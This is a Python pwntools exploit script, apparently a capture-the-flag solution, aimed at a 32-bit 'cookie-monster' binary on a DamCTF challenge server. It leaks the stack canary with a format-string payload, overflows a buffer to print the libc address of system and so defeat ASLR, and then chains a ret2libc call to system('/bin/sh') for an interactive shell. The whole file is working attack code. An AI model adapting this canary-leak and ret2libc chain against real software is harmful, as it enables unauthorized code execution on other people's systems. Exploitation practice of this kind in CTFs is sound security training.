#/usr/bin/python3

from pwn import *

context.arch = 'i386'

if args.REMOTE:
    con = remote ('chals.damctf.xyz', 31312)
else:
    con = process('./cookie-monster')

# Exploit format string vulnerability to leak stack canary.
def leak_canary():
    con.recvuntil(b'Enter your name:')
    con.sendline(b'%15$p')
    con.recvuntil(b'Hello ')
    canary = con.recvline().strip()
    con.recvuntil(b'What would you like to purchase?')
    return int(canary, 16)

def main():
    
    # ASLR is enabled on the target system. Leak address of system
    # in stage 1 to calculate the base address of libc and perform
    # a classical ret2libc attack in stage 2.
    
    # Stage 1

    main       = 0x08048669
    plt_puts   = 0x08048430
    got_system = 0x0804a020

    canary = leak_canary()

    # Exploit buffer overflow vulnerability to call puts(&system)
    # and return to main to set up stage 2.
    payload = flat(
        b'A' * 32,
        canary,
        b'B' * 12,
        plt_puts,
        main,
        got_system
    )

    con.sendline(payload)

    con.recvuntil(b'Have a nice day!\n')
    libc_system = u32(con.recvline().strip()[:4].ljust(4, b'\x00'))

    # Stage 2
    
    libc_offset_system     = 0x03ce10
    libc_offset_str_binsh  = 0x17b88f
    libc_base              = libc_system - libc_offset_system
    libc_str_binsh         = libc_base + libc_offset_str_binsh

    canary = leak_canary()

    # Exploit buffer overflow vulnerability again to call system("/bin/sh").
    payload = flat(
        b'A' * 32,
        canary,
        b'B' * 12,
        libc_system,
        0xdeadbabe,
        libc_str_binsh
    )

    con.sendline(payload)

    con.interactive()

if __name__ == '__main__':
    main()
